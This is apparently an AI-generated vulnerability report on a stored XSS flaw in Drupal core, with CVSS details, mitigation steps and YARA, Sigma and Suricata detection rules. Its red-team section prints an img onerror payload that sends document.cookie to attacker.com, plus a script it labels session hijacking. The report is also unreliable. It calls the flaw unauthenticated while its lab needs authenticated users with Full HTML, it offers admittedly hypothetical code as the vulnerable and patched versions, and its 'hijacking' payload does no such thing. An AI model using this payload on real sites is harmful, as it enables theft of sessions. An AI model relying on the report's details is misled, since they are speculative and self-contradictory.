CVE-2026-55808
Executive Summary
CVE-2026-55808 is a Stored Cross-Site Scripting (XSS) vulnerability in Drupal core, affecting a wide range of versions from early releases up to 11.3.12. The flaw resides in the improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into Drupal pages. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is particularly dangerous because it can be exploited without authentication (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N), requiring only that a victim user interacts with the crafted content. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, but the risk remains high due to the widespread use of Drupal.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Drupal is a PHP-based content management system (CMS) distributed via its own package manager (Composer) and official tarballs. This vulnerability affects the core drupal/core package. Organizations using Composer-based deployments should immediately audit their composer.lock files for affected versions. The lack of a patch means that supply chain integrity is currently compromised; any deployment of an affected version is vulnerable. No malicious packages have been reported in the official Drupal repository, but the risk of third-party modules exploiting this XSS vector is elevated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a link or view a crafted page
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exfiltration possible
- Integrity Impact: Low (I:L) – content modification possible
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the widespread adoption of Drupal and the lack of a patch elevate the real-world risk. The vulnerability is trivial to exploit once the injection point is identified, and it can be chained with other attacks (e.g., CSRF) for greater impact.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in Drupal's input handling. Drupal core fails to properly sanitize user-supplied data before rendering it in a web page. The injection point is likely in a field that accepts HTML or rich text (e.g., node body, comment, or custom block content). When a user submits content containing malicious JavaScript, Drupal's filtering mechanism does not neutralize it, allowing the script to execute in the context of other users' browsers.
Attack Flow:
- Attacker identifies a form field that is not properly sanitized (e.g., a textarea with "Full HTML" input format).
- Attacker submits content containing a payload like
<script>alert('XSS')</script>or a more sophisticated payload that steals cookies. - The payload is stored in the database and rendered on subsequent page loads.
- When a victim (e.g., an administrator) views the page, the script executes, potentially stealing session cookies, performing actions on behalf of the victim, or redirecting to a phishing site.
Root Cause: Drupal's input filtering system (e.g., check_markup(), Xss::filter()) fails to catch all XSS vectors, particularly when using certain input formats or when the content is processed by contributed modules that bypass core filters.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on typical Drupal XSS fixes.
Vulnerable Code (Example from Drupal core's Xss::filter()):
// Vulnerable: Does not filter event handlers in certain contexts
public static function filter($string, array $allowedTags = []) {
// Strip dangerous tags but allow some HTML
$string = strip_tags($string, '<a><b><i><u>');
// Missing: filter out event handler attributes like onmouseover, onclick
return $string;
}
Patched Code (Expected fix):
// Patched: Use a whitelist approach and strip event handlers
public static function filter($string, array $allowedTags = []) {
// Use DOMDocument to parse and remove dangerous attributes
$dom = new DOMDocument();
@$dom->loadHTML($string, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
$xpath = new DOMXPath($dom);
// Remove all event handler attributes
$events = ['onclick', 'onmouseover', 'onload', 'onerror', 'onfocus', 'onblur'];
foreach ($events as $event) {
$nodes = $xpath->query("//@*[starts-with(name(), '$event')]");
foreach ($nodes as $node) {
$node->parentNode->removeAttribute($node->nodeName);
}
}
// Also remove javascript: URIs in href/src
$links = $xpath->query("//a[contains(@href, 'javascript:')]");
foreach ($links as $link) {
$link->setAttribute('href', '#');
}
return $dom->saveHTML();
}
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Drupal 10.6.11 (vulnerable) installed via Composer.
- PHP 8.1, MySQL 8.0, Apache 2.4.
- Enable "Full HTML" input format for authenticated users.
Exploitation Steps:
- Create a new "Basic page" with the following payload in the body:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the page. The payload is stored.
- Send the page URL to an administrator.
- When the admin views the page, the
onerrorevent fires, sending their cookies to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/node/add/page', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('title=Hacked&body[und][0][value]=<script>alert(1)</script>');
</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual
onerror,onload, orjavascript:patterns in POST data. - Use WAF rules to block common XSS payloads (e.g.,
<script>,onerror,javascript:). - Enable Drupal's built-in "Limit allowed HTML tags" filter for all user roles.
Mitigation:
- Immediately restrict all user roles to use only "Filtered HTML" or "Restricted HTML" input formats.
- Disable the "Full HTML" input format for untrusted users.
- Apply the vendor patch as soon as it is released.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains containing
?cookie=or?session=parameters. - Unusual
Refererheaders pointing to Drupal node pages.
- Outbound HTTP requests to unknown domains containing
- Host:
- Files in
sites/default/files/containing JavaScript payloads (e.g.,xss.js). - Modified database entries in
nodeorcommenttables with<script>tags.
- Files in
- Logs:
- Apache/Nginx access logs showing
POSTrequests withonerrororjavascript:in the body. - Drupal watchdog logs with "XSS" or "malicious input" warnings.
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2026_55808_Drupal_XSS {
meta:
description = "Detects stored XSS payloads in Drupal content"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-55808"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["'][^"']*["']/is
$xss3 = /onload\s*=\s*["'][^"']*["']/is
$xss4 = /javascript\s*:\s*/is
condition:
any of ($xss*)
}
Sigma Rule
title: Drupal Stored XSS - CVE-2026-55808
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts in Drupal web requests
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'node/add'
- 'comment/reply'
cs-body|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin content
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-55808 Drupal Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/node/add"; http_uri; content:"<script"; http_client_body; nocase; content:"onerror"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable "Full HTML" input format for all untrusted roles (e.g., authenticated users, anonymous).
- Enable "Limit allowed HTML tags" filter and restrict to only safe tags (e.g.,
<a>,<em>,<strong>). - Apply vendor patch as soon as it is released (monitor Drupal security advisories).
- Review all user-submitted content for suspicious JavaScript or event handlers.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a Web Application Firewall (WAF) with XSS detection rules.
- Regularly update Drupal core and contributed modules.
- Conduct security training for content editors on XSS risks.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.